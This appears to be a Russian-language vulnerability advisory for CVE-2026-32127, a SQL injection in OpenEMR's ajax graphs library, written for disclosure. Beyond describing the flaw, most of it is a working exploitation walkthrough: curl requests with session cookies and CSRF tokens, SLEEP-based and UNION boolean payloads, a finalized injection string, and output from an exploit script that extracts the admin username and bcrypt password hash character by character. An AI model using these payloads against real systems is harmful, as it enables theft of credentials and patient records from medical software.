
CVE-2026-32127: SQL Injection Vulnerability in OpenEMR <8.0.0.1
Слабость CWE-89
Неправильная нейтрализация специальных элементов, используемых в SQL-команде ('SQL-инъекция') Продукт формирует всю или часть SQL-команды, используя внешне влияющие данные от вышестоящего компонента, но не нейтрализует или неправильно нейтрализует специальные элементы, которые могут изменить предполагаемую SQL-команду при её отправке нижестоящему компоненту. Без достаточного удаления или экранирования синтаксиса SQL в контролируемых пользователем входных данных сгенерированный SQL-запрос может привести к тому, что эти входные данные будут интерпретироваться как SQL, а не как обычные пользовательские данные. Подробнее на MITRE.
OpenEMR 8.0.0 содержит уязвимость SQL-инъекции в библиотеке ajax graphs, которая может быть использована аутентифицированными злоумышленниками. Уязвимость возникает из-за недостаточной проверки входных данных в библиотеке ajax graphs.
Уязвимость происходит в библиотеке ajax graphs, где предоставленные пользователем данные в параметре name напрямую конкатенируются в SQL-запросы без надлежащей очистки. Это позволяет злоумышленникам внедрять вредоносный SQL-код.
Уязвимость затрагивает следующие файлы:
library/ajax/graphs.php строка 76library/ajax/graphs.php строка 185library/ajax/graphs.php строка 29Код:
$name = trim((string) $_POST['name']);
...
function graphsGetValues($name)
{
global $is_lbf, $pid, $table;
if ($is_lbf) {
// Like below, but for LBF data.
$values = sqlStatement(
"SELECT " .
"ld.field_value AS " . add_escape_custom($name) . ", " .
// Если данные были введены ретроспективно, то нельзя использовать дату ввода данных.
"IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date " .
"FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE " .
"f.pid = ? AND " .
"f.formdir = ? AND " .
"f.deleted = 0 AND " .
"fe.pid = f.pid AND fe.encounter = f.encounter AND " .
"ld.form_id = f.form_id AND " .
"ld.field_id = ? AND " .
"ld.field_value != '0' " .
"ORDER BY date",
[$pid, $table, $name]
);
}
...
}
...
if ($table) {
// Как ниже, но для данных LBF.
$values = graphsGetValues($name);
}
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2" --data 'csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603&name=payload"injection&table=LBF' 'http://172.18.0.3/library/ajax/graphs.php'
SQL Statement failed on preparation: SELECT ld.field_value AS payload\"injection, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE f.pid = ? AND f.formdir = ? AND f.deleted = 0 AND fe.pid = f.pid AND fe.encounter = f.encounter AND ld.form_id = f.form_id AND ld.field_id = ? AND ld.field_value != '0' ORDER BY date'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: SELECT ld.field_value AS payload\"injection, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE f.pid = ? AND f.formdir = ? AND f.deleted = 0 AND fe.pid = f.pid AND fe.encounter = f.encounter AND ld.form_id = f.form_id AND ld.field_id = ? AND ld.field_value != '0' ORDER BY date</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\"injection, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS da...' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/library/ajax/graphs.php at 74:sqlStatement<br />/var/www/localhost/htdocs/openemr/library/ajax/graphs.php at 185:graphsGetValues(payload"injection)
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2" --data 'csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603&name=date,SLEEP(5)%20FROM%20(SELECT%201%20AS%20field_value)%20AS%20ld%20UNION%20SELECT%20ld.field_value%20AS%20date&table=LBF' 'http://172.18.0.3/library/ajax/graphs.php'
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2" --data 'csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603&name=date,SLEEP(1)%20FROM%20(SELECT%20NULL%20AS%20field_value)%20AS%20ld%20UNION%20SELECT%201%20AS%20date,1%20UNION%20SELECT%20ld.field_value%20AS%20date&table=LBF' 'http://172.18.0.3/library/ajax/graphs.php'
{"data_final":"Date\t\n","title":""}
┌──(kali㉿kali)-[~]
└─$
SELECT ld.field_value AS <injection>, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE f.pid = ? AND f.formdir = ? AND f.deleted = 0 AND fe.pid = f.pid AND fe.encounter = f.encounter AND ld.form_id = f.form_id AND ld.field_id = ? AND ld.field_value != '0' ORDER BY date
date,SLEEP(1) FROM (SELECT NULL AS field_value) AS ld UNION SELECT 1 AS date,1 UNION SELECT ld.field_value AS date
Тесты:
MariaDB [openemr]> SELECT ld.field_value AS date, 1 FROM (SELECT 1 AS field_value) AS ld JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 0 UNION ALL SELECT ld.field_value AS date, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE f.pid = 1 AND f.formdir = 2 AND f.deleted = 0 AND fe.pid = f.pid AND fe.encounter = f.encounter AND ld.form_id = f.form_id AND ld.field_id = 3 AND ld.field_value != '0' ORDER BY date;
Empty set (0.001 sec)
MariaDB [openemr]> SELECT ld.field_value AS date, 1 FROM (SELECT 1 AS field_value) AS ld JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 1 UNION ALL SELECT ld.field_value AS date, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE f.pid = 1 AND f.formdir = 2 AND f.deleted = 0 AND fe.pid = f.pid AND fe.encounter = f.encounter AND ld.form_id = f.form_id AND ld.field_id = 3 AND ld.field_value != '0' ORDER BY date;
+------+------+
| date | 1 |
+------+------+
| 1 | 1 |
| 1 | 1 |
| 1 | 1 |
| 1 | 1 |
| 1 | 1 |
+------+------+
5 rows in set (0.001 sec)
MariaDB [openemr]>
Финальная:
date, 1 FROM (SELECT 1 AS field_value) AS ld JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 1 UNION ALL SELECT ld.field_value AS date
Тест финальной полезной нагрузки:
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2" --data 'csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603&name=date%2C%201%20FROM%20%28SELECT%201%20AS%20field_value%29%20AS%20ld%20JOIN%20%28SELECT%201%20AS%20n%20UNION%20ALL%20SELECT%202%20UNION%20ALL%20SELECT%203%20UNION%20ALL%20SELECT%204%20UNION%20ALL%20SELECT%205%29%20AS%20numbers%20WHERE%201%20UNION%20ALL%20SELECT%20ld.field_value%20AS%20datedate&table=LBF' 'http://172.18.0.3/library/ajax/graphs.php'
{"data_final":"Date\t\n","title":""}
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2" --data 'csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603&name=date%2C%201%20FROM%20%28SELECT%201%20AS%20field_value%29%20AS%20ld%20JOIN%20%28SELECT%201%20AS%20n%20UNION%20ALL%20SELECT%202%20UNION%20ALL%20SELECT%203%20UNION%20ALL%20SELECT%204%20UNION%20ALL%20SELECT%205%29%20AS%20numbers%20WHERE%200%20UNION%20ALL%20SELECT%20ld.field_value%20AS%20datedate&table=LBF' 'http://172.18.0.3/library/ajax/graphs.php'
┌──(kali㉿kali)-[~]
└─$
Извлечение данных:
┌──(kali㉿kali)-[~]
└─$ python3 exploit3.py 172.18.0.3 84c7dded187f7601e7f0cd3d0a1780f2 583918e787c3d7816d9cb522ab103d099e55b603 users_secure --columns username password password_history1 password_history2 password_history3 password_history4
[#] Row count for table: users_secure 1
[#] String length: users_secure.username 0 5
[>] Character recovered: a
[>] Character recovered: d
[>] Character recovered: m
[>] Character recovered: i
[>] Character recovered: n
[+] Extracted string: ascii users_secure username 0 admin
[#] String length: users_secure.password 0 60
[>] Character recovered: $
[>] Character recovered: 2
[>] Character recovered: y
[>] Character recovered: $
[>] Character recovered: 1
[>] Character recovered: 2
[>] Character recovered: $
[>] Character recovered: g
[>] Character recovered: 4
[>] Character recovered: T
[>] Character recovered: y
[>] Character recovered: s
[>] Character recovered: 1
[>] Character recovered: l
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: f
[>] Character recovered: t
[>] Character recovered: B
[>] Character recovered: I
[>] Character recovered: u
[>] Character recovered: x
[>] Character recovered: y
[>] Character recovered: w
[>] Character recovered: o
[>] Character recovered: 5
[>] Character recovered: L
[>] Character recovered: z
[>] Character recovered: e
[>] Character recovered: V
[>] Character recovered: 7
[>] Character recovered: W
[>] Character recovered: 7
[>] Character recovered: a
[>] Character recovered: L
[>] Character recovered: B
[>] Character recovered: z
[>] Character recovered: O
[>] Character recovered: X
[>] Character recovered: g
[>] Character recovered: a
[>] Character recovered: C
[>] Character recovered: g
[>] Character recovered: U
[>] Character recovered: e
[>] Character recovered: v
[>] Character recovered: Z
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: Y
[>] Character recovered: Q
[>] Character recovered: a
[>] Character recovered: X
[>] Character recovered: 0
[>] Character recovered: c
[>] Character recovered: y
[>] Character recovered: c
[>] Character recovered: 2
[>] Character recovered: i
[>] Character recovered: O
[+] Extracted string: ascii users_secure password 0 $2y$12$g4Tys1lxAftBIuxywo5LzeV7W7aLBzOXgaCgUevZxAYQaX0cyc2iO
[#] String length: users_secure.password_history1 0 0
[#] String length: users_secure.password_history2 0 0
[#] String length: users_secure.password_history3 0 0
[#] String length: users_secure.password_history4 0 0
┌──(kali㉿kali)-[~]
└─$